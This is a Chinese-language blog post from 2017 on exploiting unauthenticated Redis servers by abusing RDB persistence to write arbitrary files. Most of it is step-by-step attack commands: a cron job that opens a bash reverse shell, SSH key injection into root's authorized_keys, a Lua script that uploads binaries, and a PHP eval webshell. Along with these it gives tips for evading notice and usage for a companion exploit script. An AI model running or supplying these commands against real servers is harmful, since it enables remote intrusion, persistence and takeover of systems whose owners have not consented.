redis unauthenticated exploit

Posted by 00theway on 2017-03-27

简介

Redis 提供了2种不同的持久化方式,RDB方式和AOF方式.

  • RDB 持久化可以在指定的时间间隔内生成数据集的时间点快照.

  • AOF 持久化记录服务器执行的所有写操作命令.

    经过查看官网文档发现AOF方式备份数据库的文件名默认为appendonly.aof,可以在配置文件中通过appendfilename设置其他名称,通过测试发现不能在客户端交互中动态设置appendfilename,所以不能通过AOF方式备份写任意文件.

RDB方式备份数据库的文件名默认为dump.rdb,此文件名可以通过客户端交互动态设置dbfilename来更改,造成可以写任意文件.

常见利用方式

root权限

  • 直接写计划任务

/var/spool/cron/目录下存放的为以各个用户命名的计划任务文件,root用户可以修改任意用户的计划任务。dbfilename设置为root为用root用户权限执行计划任务。

执行命令反弹shell(写计划任务时会覆盖原来存在的用户计划任务).写文件之前先获取dir和dbfilename的值,以便恢复redis配置,将改动降到最低,避免被发现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#获取dir的值
config get dir
#获取dbfilename的值
config get dbfilename
#设置数据库备份目录为linux计划任务目录
config set dir '/var/spool/cron/'
#设置备份文件名为root,以root身份执行计划任务
config set dbfilename 'root'
#删除所有数据库的所有key
flushall
#设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,此处可以直接调用lua语句。
eval "redis.call('set','cron',string.char(10)..ARGV[1]..string.char(10))" 0 '*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/8080 0>&1'
#保存
save
#删除新增的key
del cron
#恢复dir和dbfilename
config set dir '***'
config set dbfilename '***'
  • 写ssh pub key(前提是目标服务器允许使用key登录)

基本语句与写计划任务相同,直接调用lua语句写入ssh key前后的换行符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#获取dir的值
config get dir
#获取dbfilename的值
config get dbfilename
#设置数据库备份目录为.ssh
config set dir '/root/.ssh/'
#设置备份文件名为authorized_keys
config set dbfilename 'authorized_keys'
#清空数据库
flushall
#写入ssh pub key的内容
eval "redis.call('set','ssh',string.char(10)..ARGV[1]..string.char(10))" 0 'ssh pub key'
#保存
save
#删除新增的key
del ssh
#恢复dir和dbfilename
config set dir '***'
config set dbfilename '***'
  • 写二进制文件,利用dns、icmp等协议上线(tcp协议不能出网)

写二进制文件跟前边有所不同,原因在于使用RDB方式备份redis数据库是默认情况下会对文件进行压缩,上传的二进制文件也会被压缩,而且文件前后存在脏数据,因此需要将默认压缩关闭,并且通过计划任务调用python清洗脏数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
local function hex2bin(hexstr)
local str = ""
for i = 1, string.len(hexstr) - 1, 2 do
local doublebytestr = string.sub(hexstr, i, i+1);
local n = tonumber(doublebytestr, 16);
if 0 == n then
str = str .. '\00'
else
str = str .. string.format("%c", n)
end
end
return str
end

local dir = redis.call('config','get','dir')
redis.call('config','set','dir','/tmp/')
local dbfilename = redis.call('config','get','dbfilename')
redis.call('config','set','dbfilename','t')
local rdbcompress = redis.call('config','get','rdbcompression')
redis.call('config','set','rdbcompression','no')
redis.call('flushall')

local data = '1a2b3c4d5e6f1223344556677890aa'
redis.call('set','data',hex2bin('0a7c7c7c'..data..'7c7c7c0a'))
local rst = {}
rst[1] = 'server default config'
rst[2] = 'dir:'..dir[2]
rst[3] = 'dbfilename:'..dbfilename[2]
rst[4] = 'rdbcompression:'..rdbcompress[2]
return rst

保存以上代码为a.lua,变量data保存的是程序的16进制编码,执行

1
redis-cli --eval a.lua -h *.*.*.*

由于redis不支持在lua中调用save因此需要手动执行save操作,并且删除key data,恢复dir等。

1
2
3
4
redis-cli save -h *.*.*.*
redis-cli config set dir *** -h *.*.*.*
redis-cli config set dbfilename *** -h *.*.*.*
redis-cli config set rdbcompression * -h *.*.*.*

目前写入的文件前后是存在垃圾数据的,下一步通过写计划任务调用python或者系统命令提取出二进制文件(写文件之在数据前后加入了“|||”作为提取最终文件的标识)。

1
*/1 * * * * python -c 'open("/tmp/rst","a+").write(open("/tmp/t").read().split("|||")[1])'

/tmp/rst为最终上传的文件。

非root权限

  • 写webshell

tips:
当config set dir ‘*’ 设置的目录不存在是会提示目录不存在

1
2
3
4
> 127.0.0.1:6379> config set dir '/test/'
(error) ERR Changing directory: No such file or directory
127.0.0.1:6379>
>

可以利用这个特性暴力猜网站目录。

1
2
3
4
config set dir '/webpath/'
config set dbfilename 'a.php'
set shell '<?php eval(REQUEST["a"]);?>'
save

Enter-Hacking

以上为手工利用方式,在开始开始理解漏洞是非常有必要,在撸站时候这样就太慢了,所以将以上方法写成了python脚本。

下载链接

git地址

使用说明

1
2
3
4
5
6
7
执行命令
python redis_exp.py --host *.*.*.* -c 'id'
上传文件
python redis_exp.py --host *.*.*.* -l /data/payload.py -r /tmp/p.py
暴力猜解目录
python redis_exp.py --host *.*.*.* -f p.txt
可以通过-p参数更改默认端口,-t参数更改等待时间

执行命令

路径猜解